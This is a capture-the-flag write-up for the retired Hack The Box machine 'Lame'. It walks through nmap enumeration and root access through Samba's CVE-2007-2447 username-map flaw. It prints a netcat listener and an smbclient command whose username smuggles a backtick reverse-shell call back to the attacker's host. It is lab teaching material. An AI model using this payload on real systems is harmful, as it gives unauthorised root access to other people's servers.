HTB retired: Lame — Samba usermap to root

htb-retired · Lame

Lame is one of the oldest boxes on the platform and the shortest honest path on this site: enumerate, one exploit, root. The value is entirely in the habit, so every step below shows the command and what to notice in the output.

Enumerate

nmap -sC -sV -p- 10.10.10.3

Read the versions, not just the ports. Four services answer, and two of them are deliberate traps:

21 — vsftpd 2.3.4. This version has a famous backdoor and it is the first thing you will want to fire. On Lame it does not trigger — the box is here partly to teach you not to tunnel-vision on the first shiny CVE.
22 — OpenSSH. Note the version, move on.
139/445 — Samba smbd 3.0.20. This is the way in.
3632 — distccd. A second, longer path (CVE-2004-2687). Worth knowing it exists; Samba is faster.

Foothold: the version is the exploit

Samba 3.0.20 is vulnerable to CVE-2007-2447, the “username map script” flaw. The username field is passed to a shell, so shell metacharacters inside it run as the Samba process — which is root. No memory corruption, no separate escalation; the foothold is root.

Start a listener:

nc -lvnp 4444

Then connect with a username that is really a command:

smbclient //10.10.10.3/tmp -N \
  -U "./=`nohup nc <LHOST> 4444 -e /bin/bash`"

The client hangs — expected — and the listener catches a shell:

id
# uid=0(root) gid=0(root)

The Metasploit equivalent is exploit/multi/samba/usermap_script, but doing it by hand is the point: you can see the exploit is nothing more than the username field carrying a payload.

The lesson, generalised

Scan every port; read the versions.
Ignore the obvious bait (vsftpd) and match each version to a known issue.
Recognise that a service running as root turns a foothold into full compromise in a single step.

That recognition is what enumeration buys you. The port-by-port checklist behind steps 1 and 2 is the service enumeration reference.